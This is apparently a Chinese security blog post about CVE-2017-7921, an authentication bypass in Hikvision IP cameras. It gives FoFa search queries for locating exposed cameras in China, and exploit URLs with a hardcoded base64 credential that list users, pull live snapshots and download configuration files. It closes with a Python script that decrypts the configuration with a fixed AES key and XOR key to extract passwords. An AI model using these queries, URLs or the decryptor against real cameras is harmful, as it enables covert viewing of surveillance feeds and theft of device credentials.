海康威视摄像头未授权漏洞

Yozz

2021 年 06 月 14 日

4742 次浏览

3 条评论

2536字数

CVE漏洞

漏洞编号：CVE-2017-7921

在海康威视DS-2CD2xx2F-I Series V5.2.0 build 140721至V5.4.0 build 160530、DS-2CD2xx0F-I Series V5.2.0 build 140721至V5.4.0 build 160401、DS-2CD2xx2FWD Series V5.3.1 build 150410至V5.4.4 build 161125、DS-2CD4x2xFWD Series V5.2.0 build 140721至V5.4.0 build 160414中发现不正确的身份验证问题
DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 build 160421、DS-2DFx Series V5.2.0 build 140805 to V5.4.5 build 160928和DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 build 160106设备。
当应用程序没有充分或正确地对用户进行身份验证时，就会出现不正确的身份验证漏洞。这可能允许恶意用户升级其在系统上的权限并获得对敏感信息的访问权限

FoFa指纹

app="HIKVISION-视频监控"

搜索中国HIKVISION-视频监控

app="HIKVISION-视频监控"&&ip_ports="81,8000,8001"&&country="CN"

漏洞EXP

IP + /onvif-http/snapshot?auth=YWRtaW46MTEK

检索所有用户

/Security/users?auth=YWRtaW46MTEK

获取镜头快照而不进行身份验证

/onvif-http/snapshot?auth=YWRtaW46MTEK

下载摄像头二进制配置文件

/System/configurationFile?auth=YWRtaW46MTEK

base64编码

admin:11的base64编码

YWRtaW46MTEK

协议截图指令

onvif-http/snapshot

漏洞复现

进一步构造url可绕过登录，直接查看监控的实时快照

获取摄像头快照

/onvif-http/snapshot?auth=YWRtaW46MTEK

下载配置文件

/System/configurationFile?auth=YWRtaW46MTEK

得到二进制配置文件：configurationFile
海康威视文件解码器可以提取关键密码

提取文件密码

Python3 install Crypto pycrypto

#!/usr/bin/python3

from itertools import cycle
from Crypto.Cipher import AES
import re
import os
import sys

def add_to_16(s):
    while len(s) % 16 != 0:
        s += b'\0'
    return s 

def decrypt(ciphertext, hex_key='279977f62f6cfd2d91cd75b889ce0c9a'):
    key = bytes.fromhex(hex_key)
    ciphertext = add_to_16(ciphertext)
    #iv = ciphertext[:AES.block_size]
    cipher = AES.new(key, AES.MODE_ECB)
    plaintext = cipher.decrypt(ciphertext[AES.block_size:])
    return plaintext.rstrip(b"\0")

def xore(data, key=bytearray([0x73, 0x8B, 0x55, 0x44])):
    return bytes(a ^ b for a, b in zip(data, cycle(key)))

def strings(file):
    chars = r"A-Za-z0-9/\-:.,_$%'()[\]<> "
    shortestReturnChar = 2
    regExp = '[%s]{%d,}' % (chars, shortestReturnChar)
    pattern = re.compile(regExp)
    return pattern.findall(file)

def main():
    if len(sys.argv) <= 1 or not os.path.isfile(sys.argv[1]):
        return print(f'No valid config file provided to decrypt. For example:\n{sys.argv[0]} <configfile>')
    xor = xore( decrypt(open( sys.argv[1],'rb').read()) )
    result_list = strings(xor.decode('ISO-8859-1'))
    print(result_list)

if __name__ == '__main__':
    main()